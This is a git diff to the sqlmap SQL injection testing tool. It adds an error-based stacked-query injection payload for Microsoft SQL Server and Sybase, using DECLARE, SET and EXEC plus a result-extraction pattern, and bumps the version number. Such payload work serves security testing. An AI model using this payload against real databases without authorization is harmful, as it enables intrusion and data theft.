diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml
index b9ddaf20a..d61b107cb 100644
--- a/data/xml/payloads/error_based.xml
+++ b/data/xml/payloads/error_based.xml
@@ -1298,4 +1298,27 @@
          and SAP MaxDB - no known techniques at this time
     -->
     <!-- End of error-based tests - ORDER BY, GROUP BY clause -->
+
+    <!-- Error-based tests - stacking -->
+    <test>
+        <title>Microsoft SQL Server/Sybase error-based - Stacking (EXEC)</title>
+        <stype>2</stype>
+        <level>2</level>
+        <risk>1</risk>
+        <clause>1-8</clause>
+        <where>1</where>
+        <vector>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]');EXEC @[RANDSTR]</vector>
+        <request>
+            <payload>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]');EXEC @[RANDSTR]</payload>
+            <comment>--</comment>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>Microsoft SQL Server</dbms>
+            <dbms>Sybase</dbms>
+        </details>
+    </test>
+    <!-- End of error-based tests - stacking -->
 </root>
diff --git a/lib/core/settings.py b/lib/core/settings.py
index 11e8a82d3..5a856ee16 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -18,7 +18,7 @@ from lib.core.enums import OS
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.4.6.3"
+VERSION = "1.4.6.4"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)